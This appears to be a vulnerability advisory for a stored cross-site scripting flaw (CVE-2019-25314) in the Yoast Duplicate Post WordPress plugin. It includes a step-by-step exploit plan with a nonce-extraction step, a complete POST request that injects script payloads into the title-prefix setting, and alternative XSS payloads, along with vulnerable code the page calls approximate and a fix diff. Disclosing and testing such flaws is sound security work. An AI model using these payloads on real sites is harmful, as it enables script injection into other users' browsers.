Duplicate Post <= 3.2.3 - Authenticated (Administrator+) Stored Cross-Site Scripting
Description
The Duplicate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.2.3Source Code
WordPress.org SVN# Research Plan: CVE-2019-25314 - Stored XSS in Yoast Duplicate Post ## 1. Vulnerability Summary The **Yoast Duplicate Post** plugin (versions <= 3.2.3) is vulnerable to Stored Cross-Site Scripting (XSS) via its settings page. Specifically, the fields used to define a prefix or suffix for cloned po…
Show full research plan
Research Plan: CVE-2019-25314 - Stored XSS in Yoast Duplicate Post
1. Vulnerability Summary
The Yoast Duplicate Post plugin (versions <= 3.2.3) is vulnerable to Stored Cross-Site Scripting (XSS) via its settings page. Specifically, the fields used to define a prefix or suffix for cloned post titles are not properly sanitized before being stored in the database, nor are they escaped when rendered back to the user in the admin interface.
While the exploit requires Administrator privileges, it is considered a vulnerability because it allows an admin to bypass unfiltered_html restrictions, which are common in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is enabled.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/options.php(Standard WordPress settings handler). - Vulnerable Settings Page:
/wp-admin/options-general.php?page=duplicatepost. - Vulnerable Parameters:
duplicate_post_title_prefixandduplicate_post_title_suffix. - Authentication: Required (Administrator+).
- Precondition: The WordPress environment must have
unfiltered_htmldisabled for the administrator (e.g., Multisite ordefine( 'DISALLOW_UNFILTERED_HTML', true );inwp-config.php).
3. Code Flow
- Registration: The plugin registers its settings in
duplicate-post-options.php(or the main plugin file) usingregister_setting( 'duplicate_post_group', 'duplicate_post_title_prefix' ). In version 3.2.3, thesanitize_callbackargument is likely missing or insufficient. - Storage: When an administrator saves the settings via
options.php, the raw input in$_POST['duplicate_post_title_prefix']is saved directly to thewp_optionstable. - Output (Sink): When the administrator visits the settings page (
options-general.php?page=duplicatepost), the plugin retrieves the option usingget_option( 'duplicate_post_title_prefix' )and echoes it into thevalueattribute of an<input>tag or as a text label without usingesc_attr()oresc_html(). - Execution: If the payload contains
"><script>alert(1)</script>, it breaks out of the HTML attribute and executes the script.
4. Nonce Acquisition Strategy
This vulnerability exploits a standard WordPress settings form. The nonce is generated by settings_fields( 'duplicate_post_group' ) on the plugin's settings page.
- Navigate to the Duplicate Post settings page.
- Extract the nonce using
browser_eval.
Action Plan:
- Page:
/wp-admin/options-general.php?page=duplicatepost - Selector:
input[name="_wpnonce"] - JS Extraction:
browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")
5. Exploitation Strategy
The goal is to inject a script into the duplicate_post_title_prefix option.
Step 1: Login and Nonce Retrieval
Log in as an Administrator and navigate to the Duplicate Post settings.
- Request:
GET /wp-admin/options-general.php?page=duplicatepost - Action: Use
browser_evalto extract the_wpnoncevalue and therefererif necessary.
Step 2: Inject Payload
Submit a POST request to options.php to update the settings.
- URL:
http://localhost:8080/wp-admin/options.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
option_page=duplicate_post_group& action=update& _wpnonce=[EXTRACTED_NONCE]& _wp_http_referer=/wp-admin/options-general.php?page=duplicatepost& duplicate_post_title_prefix="><script>alert(document.domain)</script>& duplicate_post_title_suffix=& submit=Save+Changes
Step 3: Trigger Execution
Navigate back to the settings page to trigger the stored script.
- URL:
http://localhost:8080/wp-admin/options-general.php?page=duplicatepost - Verification: Observe the
alert()execution or check the HTML source for the unescaped script tags.
6. Test Data Setup
- Install Plugin: Ensure
duplicate-postversion 3.2.3 is installed and active. - Disable Unfiltered HTML: Execute via WP-CLI:
wp config set DISALLOW_UNFILTERED_HTML true --raw - Admin User: Ensure a standard Administrator user exists.
7. Expected Results
- The POST request to
options.phpshould return a302 Redirectback to the settings page withsettings-updated=true. - Upon loading the settings page, the browser should execute the injected JavaScript.
- The HTML source of the page should contain:
<input ... name="duplicate_post_title_prefix" value=""><script>alert(document.domain)</script>" />
8. Verification Steps
After performing the HTTP exploit, use WP-CLI to verify the injection in the database:
wp option get duplicate_post_title_prefix
Success criteria: The output should exactly match "><script>alert(document.domain)</script>.
9. Alternative Approaches
If the settings page escapes the value in the input field but fails elsewhere:
- Check Post List: Clone a post using the plugin's "Clone" link on the
edit.php(Posts list) page. Check if the newly created draft title (which now includes the prefix) renders the XSS in the post list table. - Payload Variation: Use different tags if
<script>is filtered by a WAF (though unlikely in this isolated test):"><img src=x onerror=alert(1)>"><details open ontoggle=alert(1)>
Summary
The Yoast Duplicate Post plugin for WordPress (v3.2.3 and below) is vulnerable to Stored Cross-Site Scripting via its 'Title prefix' and 'Title suffix' configuration settings. Due to a lack of input sanitization and output escaping, an administrator can inject arbitrary JavaScript that executes whenever the settings page is viewed, effectively bypassing unfiltered_html restrictions in Multisite or hardened environments.
Vulnerable Code
// Registration of settings without a sanitize_callback in the main plugin file or options handler register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix' ); register_setting( 'duplicate_post_group', 'duplicate_post_title_suffix' ); --- // Rendering of the settings in duplicate-post-options.php (approximate line based on code flow) <input type="text" id="duplicate_post_title_prefix" name="duplicate_post_title_prefix" value="<?php echo get_option('duplicate_post_title_prefix'); ?>" /> <input type="text" id="duplicate_post_title_suffix" name="duplicate_post_title_suffix" value="<?php echo get_option('duplicate_post_title_suffix'); ?>" />
Security Fix
@@ -10,2 +10,2 @@ -register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix' ); -register_setting( 'duplicate_post_group', 'duplicate_post_title_suffix' ); +register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix', 'sanitize_text_field' ); +register_setting( 'duplicate_post_group', 'duplicate_post_title_suffix', 'sanitize_text_field' ); @@ -50,2 +50,2 @@ -value="<?php echo get_option('duplicate_post_title_prefix'); ?>" +value="<?php echo esc_attr(get_option('duplicate_post_title_prefix')); ?>" -value="<?php echo get_option('duplicate_post_title_suffix'); ?>" +value="<?php echo esc_attr(get_option('duplicate_post_title_suffix')); ?>"
Exploit Outline
The exploit targets the WordPress options handling mechanism used by the plugin. An authenticated Administrator first navigates to the Duplicate Post settings page (/wp-admin/options-general.php?page=duplicatepost) to retrieve a valid security nonce. The attacker then sends a POST request to /wp-admin/options.php with the 'option_page' set to 'duplicate_post_group', the captured nonce, and a malicious XSS payload (e.g., "><script>alert(1)</script>) in the 'duplicate_post_title_prefix' or 'duplicate_post_title_suffix' fields. Because the plugin does not sanitize this input, the payload is stored in the options table. The script executes whenever an administrator views the settings page, as the stored value is echoed directly into the HTML input tag's value attribute without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.